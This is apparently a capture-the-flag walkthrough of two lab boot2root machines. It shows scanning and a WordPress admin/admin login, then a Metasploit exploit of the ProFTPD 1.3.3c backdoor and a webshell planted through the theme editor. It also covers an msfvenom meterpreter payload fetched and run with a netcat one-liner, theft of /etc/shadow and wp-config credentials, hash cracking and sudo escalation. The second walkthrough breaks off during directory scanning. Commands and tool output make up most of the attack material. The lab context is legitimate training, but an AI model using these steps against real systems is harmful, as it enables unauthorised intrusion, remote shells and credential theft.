TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.29 ms vtcsec (10.10.7.9)

NSE: Script Post-scanning.
Initiating NSE at 10:03
Completed NSE at 10:03, 0.00s elapsed
Initiating NSE at 10:03
Completed NSE at 10:03, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.27 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65555 (2.623MB)

nmap notifies us that there are 3 listening ports, 21, 22, and 80.

Port :21

There is an ftp server listening on port 21.  nmap informs us that the ftp service is likely ProFTPD 1.3.3c.

Port :22

There is an ssh service listening on port 22.  nmap informs us that is is likely OpenSSH 7.2p2 Ubuntu 4ubuntu2.2.  This is also a pretty good indicator that our target is running Ubuntu.

Port :80

There is an http server listening on port 80.  It is likely Apache httpd 2.4.18.

Visiting the site shows a default Apache page.

Following my standard procedures for web servers, I next started a nikto and dirb scan

nikto

nikto --host=http://10.10.7.9
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.7.9
+ Target Hostname: 10.10.7.9
+ Target Port: 80
+ Start Time: 2018-01-04 10:03:59 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0xb1 0x55e1c7758dcdb
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ Uncommon header 'link' found, with contents: &lt;http://vtcsec/secret/index.php/wp-json/&gt;; rel="https://api.w.org/"
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7517 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2018-01-04 10:04:20 (GMT-5) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

dirb

dirb http://10.10.7.9
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Jan 4 10:04:04 2018
URL_BASE: http://10.10.7.9/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.7.9/ ----
+ http://10.10.7.9/index.html (CODE:200|SIZE:177)
==&gt; DIRECTORY: http://10.10.7.9/secret/
+ http://10.10.7.9/server-status (CODE:403|SIZE:297)

---- Entering directory: http://10.10.7.9/secret/ ----
+ http://10.10.7.9/secret/index.php (CODE:301|SIZE:0)
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-admin/
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-content/
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-includes/
+ http://10.10.7.9/secret/xmlrpc.php (CODE:405|SIZE:42)

---- Entering directory: http://10.10.7.9/secret/wp-admin/ ----
+ http://10.10.7.9/secret/wp-admin/admin.php (CODE:302|SIZE:0)
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-admin/css/
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-admin/images/
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-admin/includes/
+ http://10.10.7.9/secret/wp-admin/index.php (CODE:302|SIZE:0)
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-admin/js/
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-admin/maint/
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-admin/network/
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-admin/user/

---- Entering directory: http://10.10.7.9/secret/wp-content/ ----
+ http://10.10.7.9/secret/wp-content/index.php (CODE:200|SIZE:0)
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-content/plugins/
==&gt; DIRECTORY: http://10.10.7.9/secret/wp-content/themes/

---- Entering directory: http://10.10.7.9/secret/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.7.9/secret/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.7.9/secret/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.7.9/secret/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.7.9/secret/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.7.9/secret/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.7.9/secret/wp-admin/network/ ----
+ http://10.10.7.9/secret/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ http://10.10.7.9/secret/wp-admin/network/index.php (CODE:302|SIZE:0)

---- Entering directory: http://10.10.7.9/secret/wp-admin/user/ ----
+ http://10.10.7.9/secret/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ http://10.10.7.9/secret/wp-admin/user/index.php (CODE:302|SIZE:0)

---- Entering directory: http://10.10.7.9/secret/wp-content/plugins/ ----
+ http://10.10.7.9/secret/wp-content/plugins/index.php (CODE:200|SIZE:0)

---- Entering directory: http://10.10.7.9/secret/wp-content/themes/ ----
+ http://10.10.7.9/secret/wp-content/themes/index.php (CODE:200|SIZE:0)

nikto and dirb both indicate the existence of a secret directory at /secret/. Furthermore, the files and directories discovered by dirb suggest that at /secret/ is a wordpress site.  Visiting the page quickly confirms this, so we will run a scan to enumerate the site.

wpscan

wpscan -u http://10.10.7.9/secret/ -e --no-banner
[+] URL: http://10.10.7.9/secret/
[+] Started: Thu Jan 4 10:52:46 2018

[!] The WordPress 'http://10.10.7.9/secret/readme.html' file exists exposing a version number
[+] Interesting header: LINK: &lt;http://vtcsec/secret/index.php/wp-json/&gt;; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: http://10.10.7.9/secret/xmlrpc.php
[!] Includes directory has directory listing enabled: http://10.10.7.9/secret/wp-includes/

[+] WordPress version 4.9 (Released on 2017-11-15) identified from advanced fingerprinting, meta generator, links opml, stylesheets numbers
[!] 4 vulnerabilities identified from the version number

[!] Title: WordPress 2.8.6-4.9 - Authenticated JavaScript File Upload
Reference: https://wpvulndb.com/vulnerabilities/8966
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
[i] Fixed in: 4.9.1

[!] Title: WordPress 1.5.0-4.9 - RSS and Atom Feed Escaping
Reference: https://wpvulndb.com/vulnerabilities/8967
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
[i] Fixed in: 4.9.1

[!] Title: WordPress 4.3.0-4.9 - HTML Language Attribute Escaping
Reference: https://wpvulndb.com/vulnerabilities/8968
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
[i] Fixed in: 4.9.1

[!] Title: WordPress 3.7-4.9 - 'newbloguser' Key Weak Hashing
Reference: https://wpvulndb.com/vulnerabilities/8969
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
[i] Fixed in: 4.9.1

[+] WordPress theme in use: twentyseventeen - v1.4

[+] Name: twentyseventeen - v1.4
| Latest version: 1.4 (up to date)
| Last updated: 2017-11-16T00:00:00.000Z
| Location: http://10.10.7.9/secret/wp-content/themes/twentyseventeen/
| Readme: http://10.10.7.9/secret/wp-content/themes/twentyseventeen/README.txt
| Style URL: http://10.10.7.9/secret/wp-content/themes/twentyseventeen/style.css
| Referenced style.css: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css
| Theme Name: Twenty Seventeen
| Theme URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
| Author: the WordPress team
| Author URI: https://wordpress.org/

[+] Enumerating installed plugins (only ones with known vulnerabilities) ...

Time: 00:00:02 &lt;=======================&gt; (1600 / 1600) 100.00% Time: 00:00:02

[+] No plugins found

[+] Enumerating installed themes (only ones with known vulnerabilities) ...

Time: 00:00:00 &lt;=========================&gt; (283 / 283) 100.00% Time: 00:00:00

[+] No themes found

[+] Enumerating timthumb files ...

Time: 00:00:02 &lt;=======================&gt; (2541 / 2541) 100.00% Time: 00:00:02

[+] No timthumb files found

[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
+----+-------+-------------------+
| Id | Login | Name |
+----+-------+-------------------+
| 1 | admin | admin – My secret |
+----+-------+-------------------+
[!] Default first WordPress username 'admin' is still used

[+] Finished: Thu Jan 4 10:53:03 2018
[+] Requests Done: 4514
[+] Memory used: 113.613 MB
[+] Elapsed time: 00:00:16

By specifying the -e flag, the tool tries to determine the version of WordPress, any running plugins, installed themes, etc. and return known vulnerabilities for them.  It also identified a user named admin (located at the bottom of the script’s output).

Wpscan can also be used to bruteforce login to wordpress sites, but since admin is a default user, let’s see if we can just log in using admin as the password, too.

Success!

Vulnerability Analysis

 

FTP

Searchsploit indicates that this version of ProFTPD has been backdoored, and better yet, there is a metasploit module for the exploit.  This will definitely be worth investigating.

searchsploit ProFTPD 1.3.3c
--------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------- ----------------------------------
ProFTPd 1.3.3c - Compromised Source Backdoor | exploits/linux/remote/15662.txt
ProFTPd-1.3.3c - Backdoor Command Execution | exploits/linux/remote/16921.rb
--------------------------------------------- ----------------------------------

SSH

Not much to see here.  There is a vulnerability in this version of OpenSSH that allows username enumeration, but since we are likely to get shell through either FTP or HTTP, I’m marking this as check last.

searchsploit Openssh 7.2p2
--------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------- ----------------------------------
OpenSSH 7.2p2 - Username Enumeration | exploits/linux/remote/40136.py
OpenSSHd 7.2p2 - Username Enumeration (PoC) | exploits/linux/remote/40113.txt
--------------------------------------------- ----------------------------------

HTTP

There are no apparent vulnerabilities associated with our version of Apache.  But since we are logged in to the WordPress site, we can leverage our access to get a webshell.  We’ll explore this in the HTTP portion of Exploitation below.

Exploitation

FTP

Using searchsploit earlier, we know that there is a metasploit module to exploit the backdoor built in to this version of ProFTPD.  We can quickly find it using search:

msf &gt; search ProFTPd-1.3.3c

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 excellent ProFTPD-1.3.3c Backdoor Command Execution

Now that we’ve identified the module, we load it and set the various settings (you can always use show options if you’re unsure of what they are, or want to verify that they are correctly configured)

msf &gt; use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(unix/ftp/proftpd_133c_backdoor) &gt; set payload cmd/unix/reverse_perl
msf exploit(unix/ftp/proftpd_133c_backdoor) &gt; set rhost 10.10.7.5
msf exploit(unix/ftp/proftpd_133c_backdoor) &gt; set lhost 10.10.7.5
msf exploit(unix/ftp/proftpd_133c_backdoor) &gt; set rhost 10.10.7.9

Our payload is ready.  Execute it with run and wait a few seconds.  Metasploit will establish a connection with the FTP server and execute our payload to generate a shell on the target machine.  Once it is established, we quickly improve the environment with our python one-liner.  And check our current user.

msf exploit(unix/ftp/proftpd_133c_backdoor) &gt; run

[*] Started reverse TCP handler on 10.10.7.5:4444
[*] 10.10.7.9:21 - Sending Backdoor Command
[*] Command shell session 1 opened (10.10.7.5:4444 -&gt; 10.10.7.9:42556) at 2018-01-04 12:03:51 -0700

python -c 'import pty; pty.spawn("/bin/bash")'
root@vtcsec:/# whoami
whoami
root
root@vtcsec:/#

We have root!  At this point, we’ve owned the machine and can do whatever we want to do.  But let’s explore the web shell route.

HTTP

To get a webshell, we go to the theme editor which allows us to directly edit the php code of the various pages in the installed themes.  In order to avoid causing any problems with the site (and, in theory, avoid instant detection), we will edit a page in a theme that is not in use.  Kali has a number of web shells built in at /usr/share/webshells/.  The most feature-filled php shell seems to be qsd-php-backdoor.php.  If we replace the content of one of the .php pages in our unused theme (I am editing 404.php in the Twenty Fifteen theme) with the content of the qsd backdoor, then we should be able to navigate to this page and see our webshell.  EDIT: After completing this machine, I remembered another php web shell that I had run across on another boot2root that is very well done and definitely worth adding to your kit.  It emulates a BASH environment directly in your browser, making it for more useful than qsd in my mind.  It can be found here.

Question is, where is this file located?  Dirb gives us a hint.  Dirb found a directory labeled /secret/wp-content/themes/.  We know the name of our theme, and the name of our page, so it’s fairly simple to guess the rest of the URL:  http://vtcsec/secret/wp-content/themes/twentyfifteen/404.php

We now have a web shell on the target and can run almost any command that we want to as www-data.

Post Exploitation

Improving our environment

An interactive shell is better than a web shell, though, so now that we can run commands on the target, let’s improve our working environment by using it to transfer an msfvenom payload to the target and get a meterpreter shell.

First, generate the payload:

msfvenom --platform linux -p linux/x86/meterpreter/reverse_tcp LPORT=52822 LHOST=10.10.7.5 -f elf -o rshell

While our payload is generating we need to get metasploit ready to handle the incoming meterpreter connection:

msf exploit(unix/ftp/proftpd_modcopy_exec) &gt; use exploit/multi/handler
msf exploit(multi/handler) &gt; set payload linux/x86/meterpreter/reverse_tcp
payload =&gt; linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) &gt; set lhost 10.10.7.5
lhost =&gt; 10.10.7.5
msf exploit(multi/handler) &gt; set lport 52822
lport =&gt; 52822
msf exploit(multi/handler) &gt; run

Once generated, we need to transfer the msfvenom payload to the target machine. There are many ways to do this, I generally choose netcat as the simplest. On the kali box, prep our netcat listener to transmit the payload:

nc -lvvp 52800 &lt; ./rshell

In the webshell, enter the following command and execute it. The string will connect to our Kali box and save anything transmitted (our msfvenom payload) to a file in /tmp/ called rshell. It will then change the permissions to allow the payload to be executed, and execute it. We need to ensure that both our metasploit handler and our nc listener on our kali box are listening, as the below string will connect to both of them.

nc 10.10.7.5 52800 &gt; /tmp/rshell; chmod 777 /tmp/rshell; /tmp/rshell

If the command is successful, we should see two things: a successful connection to our nc listener, and an incoming meterpreter connection. The expected output for both is shown below:

nc -lvvp 52800 &lt; vtcsec/rshell
[cc lang="text" line_numbers="false" nowrap="true"]
listening on [any] 52800 ...
connect to [10.10.7.5] from vtcsec [10.10.7.9] 56908
sent 207, rcvd 0
 
msf exploit(multi/handler) &gt; run

[*] Started reverse TCP handler on 10.10.7.5:52822
[*] Sending stage (857352 bytes) to 10.10.7.9
[*] Meterpreter session 2 opened (10.10.7.5:52822 -&gt; 10.10.7.9:57618) at 2018-01-04 12:28:30 -0700

meterpreter &gt;

Privilege Escalation

Now that we have a meterpreter session on the target, it’s time to do some further reconnaissance.  There is a good tool that can automate some of this for us called linuxprivchecker.py (available here).  We can use meterpreter to upload this file to our target, and then use the shell to execute it:

meterpreter &gt; upload /root/Documents/tmp/linuxprivchecker.py /tmp/
meterpreter &gt; channel -i 1
www-data@vtcsec:/tmp$ python linuxprivchecker.py &gt; linuxprivchecker.out

When the script has completed running, we can background our shell with ctrl+z and download the output for easier viewing.  While we’re at it, let’s grab a few other interesting files.

meterpreter &gt; download /tmp/linuxprivchecker.out /root/Documents/vtcsec/
meterpreter &gt; download /var/www/html/secret/wp-config.php /root/Documents/vtcsec/
meterpreter &gt; download /etc/passwd /root/Documents/vtcsec/
meterpreter &gt; download /etc/group /root/Documents/vtcsec/

Looking in wp-config, we can find some database credentials that may come in handy: username(root) password(arootmysqlpass)

One thing that stands out in the output of linuxprivchecker is the fact that /etc/shadow is readable, so let’s grab that as well!

meterpreter &gt; download /etc/shadow /root/Documents/vtcsec/

Inside /etc/shadow, we can see a password hash for the user marlinspike.  Let’s use john to try to crack it.

unshadow ./passwd ./shadow &gt; unshadowed
john unshadowed
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
marlinspike (marlinspike)
1g 0:00:00:00 DONE 1/3 (2018-01-04 10:04) 12.50g/s 100.0p/s 100.0c/s 100.0C/s marlinspike..marlinspikes
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Weak passwords ftw!  We can now log in as this user and stop acting as www-data.  Do this either via SSH or simply using su in our current meterpreter session.

We can check to see what, if any, commands that our new user is allowed to run with sudo:

marlinspike@vtcsec:~$ sudo -l
[sudo] password for marlinspike:
Matching Defaults entries for marlinspike on vtcsec:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marlinspike may run the following commands on vtcsec:
(ALL : ALL) ALL

Seems as if our user is able to run any command with sudo…  Tha means we should be able to switch user to root:

marlinspike@vtcsec:~$ sudo su
root@vtcsec:/home/marlinspike# whoami
root

We now have root!

There appear to be some other vulnerabilities present as well.  Linuxprivchecker.py seemed to think that the MySQL service running could be used to priv esc to root, however when I checked it did not appear to be running with root privileges (a requirement for the exploit to work), so I did not try it.  I also noticed that ImageMagick-6 seems to be installed.  This has a lot of vulnerabilities associated with it and would be worth investigating.  But we can sudo su, so I will leave it there for now.

Walkthrough – BTRSys: v1

BTRSys v1 markets itself as a boot2root for beginners.  It’s fairly simple but almost all of the content covered is different from the covfefe box that we covered earlier.  You can find the file here, and it’ll download as a .rar file that you can decompress and import into VMWare.

Scanning

First step is to find the target machine.  We’ll accomplish that by ping sweeping with nmap.  First, we identify our own IP address:

ifconfig [interface]
ifconfig eth1

Looking next to inet in the output from ifconfig, we see that our own address is 10.10.7.17. We can now use nmap to identify the other machine:

nmap -sn 10.10.7.0/27
Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-15 14:55 EST
Nmap scan report for 10.10.7.1
Host is up (0.00018s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for <strong>10.10.7.22</strong>
Host is up (0.00038s latency).
MAC Address: 00:0C:29:09:29:3D (VMware)
Nmap scan report for 10.10.7.30
Host is up (0.00019s latency).
MAC Address: 00:50:56:F2:2B:81 (VMware)
Nmap scan report for 10.10.7.17
Host is up.
Nmap done: 32 IP addresses (4 hosts up) scanned in 26.69 seconds

Our target is located at 10.10.7.22. The next step is to gather information about what services are accessible on the target. We’ll use nmap again to scan all of the TCP ports:

nmap -p 1-65535 -T4 -A -v 10.10.7.22
Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-15 14:55 EST
NSE: Loaded 146 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:56
Completed NSE at 14:56, 0.00s elapsed
Initiating NSE at 14:56
Completed NSE at 14:56, 0.00s elapsed
Initiating ARP Ping Scan at 14:56
Scanning 10.10.7.22 [1 port]
Completed ARP Ping Scan at 14:56, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:56
Completed Parallel DNS resolution of 1 host. at 14:56, 13.00s elapsed
Initiating SYN Stealth Scan at 14:56
Scanning 10.10.7.22 [65535 ports]
Discovered open port 22/tcp on 10.10.7.22
Discovered open port 80/tcp on 10.10.7.22
Discovered open port 21/tcp on 10.10.7.22
Completed SYN Stealth Scan at 14:56, 1.89s elapsed (65535 total ports)
Initiating Service scan at 14:56
Scanning 3 services on 10.10.7.22
Completed Service scan at 14:56, 6.02s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 10.10.7.22
NSE: Script scanning 10.10.7.22.
Initiating NSE at 14:56
NSE: [ftp-bounce] Couldn't resolve scanme.nmap.org, scanning 10.0.0.1 instead.
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 14:56, 20.48s elapsed
Initiating NSE at 14:56
Completed NSE at 14:56, 0.00s elapsed
Nmap scan report for 10.10.7.22
Host is up (0.00029s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.7.17
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 600
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
| 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
| 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_ 256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (EdDSA)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: BTRisk
MAC Address: 00:0C:29:09:29:3D (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Uptime guess: 196.483 days (since Fri Jun 2 04:20:57 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.29 ms 10.10.7.22

NSE: Script Post-scanning.
Initiating NSE at 14:56
Completed NSE at 14:56, 0.00s elapsed
Initiating NSE at 14:56
Completed NSE at 14:56, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.30 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

Key to note are ports 21, 22, and 80. The target is running FTP, SSH and a web server. By including the -A flag in the command, we gather information about the services that are running behind the ports, and what versions they likely are.

Knowing the publicly available services and what version each is, we can turn to searchsploit to try and identify some vulnerabilities to exploit:

searchsploit vsftpd
--------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------- ----------------------------------
vsftpd 2.0.5 - 'CWD' Authenticated Remote Me | exploits/linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Den | exploits/windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Den | exploits/windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | exploits/linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (M | exploits/unix/remote/17491.rb
--------------------------------------------- ----------------------------------

Unfortunately, all of the vsftpd vulnerabilities listed are for older versions than ours (3.0.2).

searchsploit OpenSSH
--------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------- ----------------------------------
Debian OpenSSH - Authenticated Remote SELinu | exploits/linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIE | exploits/multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execu | exploits/freebsd/remote/17462.txt
Novell Netware 6.5 - OpenSSH Remote Stack Ov | exploits/novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite | exploits/linux/remote/20253.sh
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-b | exploits/unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token B | exploits/linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Over | exploits/unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Over | exploits/unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Den | exploits/multiple/dos/2444.sh
OpenSSH 6.8 &lt; 6.9 - 'PTY' Local Privilege Es | exploits/linux/local/41173.c
OpenSSH 7.2 - Denial of Service | exploits/linux/dos/40888.py
OpenSSH 7.2p1 - Authenticated xauth Command | exploits/multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration | exploits/linux/remote/40136.py
OpenSSH &lt; 7.4 - 'UsePrivilegeSeparation Disa | exploits/linux/local/40962.txt
OpenSSH &lt; 7.4 - agent Protocol Arbitrary Lib | exploits/linux/remote/40963.txt
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote User | exploits/linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery | exploits/linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration (PoC) | exploits/linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timin | exploits/multiple/remote/3303.sh
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - | exploits/linux/local/258.sh
--------------------------------------------- ----------------------------------

A note: when you use searchsploit, it can help to include version numbers in the command in order to cut down on the noise that is returned. Above, searching for all OpenSSH vulnerabilities returns a lot of options. Searching for something like Apache would produce even more. This can make it difficult to find applicable vulnerabilities. But by including a version in the search string, we could also miss out on vulnerabilities that impact a range of versions. For example, above we see two vulnerabilities that claim to impact all versions of OpenSSH less than 7.4. Searching for OpenSSH 6.6.1 wouldn’t return these. In this case, it doesn’t matter, because the two <7.4 vulnerabilities require specific configurations. We could make note and try them later just to be sure, but this will prove to be unnecessary. The same is true with the Apache server, so we will just move on and take a look at the FTP service that is running.

Port :21

nmap notified us that the FTP server at port 21 allows anonymous login with read only access. We will quickly verify this and see if there are any files available on the server.

ftp 10.10.7.22
Connected to 10.10.7.22.
220 (vsFTPd 3.0.2)
Name (10.10.7.22:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&gt; ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp&gt; put test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
550 Permission denied.
ftp&gt;

Using the ls command, we see that there are no files on the server. We also double check that we can’t upload any files by using PUT. Unfortunately, this seems to be a dead-end, so we will move on to port 80.

Port :80

There are two great tools to gather information about a web server: nikto and dirb. Nikto will scan a server for known vulnerabilities, and dirb will take a wordlist and try to brute force the files and directories present. Between the two of them we can get a good idea of what the server looks like and some potential attack vectors.

Starting with nikto:

nikto --host=http://10.10.7.22/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.7.22
+ Target Hostname: 10.10.7.22
+ Target Port: 80
+ Start Time: 2017-12-15 15:00:03 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.21
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7517 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2017-12-15 15:00:22 (GMT-5) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Two big things to notice above are the file at /config.php and the login portal at /login.php. Browsing to /config.php yields nothing but a blank page. That’s ok, false positives happen with tools like this (technically, it isn’t a false positive because there is actually a file called config.php there, it’s just blank and therefore of little use to us). The login portal at /login.php looks promising, and I’ll go over why once we look at our dirb results:

dirb http://10.10.7.22/ /usr/share/wordlists/dirb/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Dec 15 15:00:10 2017
URL_BASE: http://10.10.7.22/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.7.22/ ----
==&gt; DIRECTORY: http://10.10.7.22/assets/
==&gt; DIRECTORY: http://10.10.7.22/javascript/
+ http://10.10.7.22/server-status (CODE:403|SIZE:290)
==&gt; DIRECTORY: http://10.10.7.22/uploads/

---- Entering directory: http://10.10.7.22/assets/ ----
